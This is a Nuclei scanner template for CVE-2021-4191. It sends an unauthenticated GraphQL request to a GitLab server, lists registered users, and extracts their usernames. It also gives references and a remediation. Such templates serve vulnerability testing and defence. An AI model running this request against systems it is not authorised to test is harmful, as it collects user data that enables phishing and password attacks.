GitLab GraphQL API User Enumeration

id: CVE-2021-4191

info:
  name: GitLab GraphQL API User Enumeration
  author: zsusac
  severity: medium
  description: An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.
  impact: |
    An attacker can enumerate valid usernames, which can be used for further attacks such as brute-forcing passwords or launching targeted phishing campaigns.
  remediation: |
    Implement rate limiting or CAPTCHA on the GraphQL API to prevent user enumeration.
  reference:
    - https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/
    - https://thehackernews.com/2022/03/new-security-vulnerability-affects.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-4191
    - https://gitlab.com/gitlab-org/gitlab/-/issues/343898
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-4191.json
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-4191
    cwe-id: CWE-287
    epss-score: 0.24657
    epss-percentile: 0.96207
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
  tags: cve2021,cve,gitlab,api,graphql,enum,unauth

http:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: */*
        Origin: {{RootURL}}
        Referer: {{RootURL}}/-/graphql-explorer

        {"query":"# Welcome to GraphiQL\n#\n# GraphiQL is an in-browser tool for writing, validating, and\n# testing GraphQL queries.\n#\n# Type queries into this side of the screen, and you will see intelligent\n# typeaheads aware of the current GraphQL type schema and live syntax and\n# validation errors highlighted within the text.\n#\n# GraphQL queries typically start with a \"{\" character. Lines that starts\n# with a # are ignored.\n#\n# An example GraphQL query might look like:\n#\n#     {\n#       field(arg: \"value\") {\n#         subField\n#       }\n#     }\n#\n# Keyboard shortcuts:\n#\n#  Prettify Query:  Shift-Ctrl-P (or press the prettify button above)\n#\n#       Run Query:  Ctrl-Enter (or press the play button above)\n#\n#   Auto Complete:  Ctrl-Space (or just start typing)\n#\n\n{\n  users {\n    nodes {\n      id\n      name\n      username\n    }\n  }\n}","variables":null,"operationName":null}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data"'
          - '"users"'
          - '"nodes"'
          - '"id"'
          - 'gid://'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - '.data.users.nodes[].username'
# digest: 4a0a004730450220613a98cc368da5cc7ab12e82f5cc55eefc653c8a56c2f399e808367802a55db9022100863f4d035cb38b3e355a7c3d98dde9f7bd2569aa27b24dc79bfd47cd92f1d6a0:922c64590222798bb761d5b6d8e72950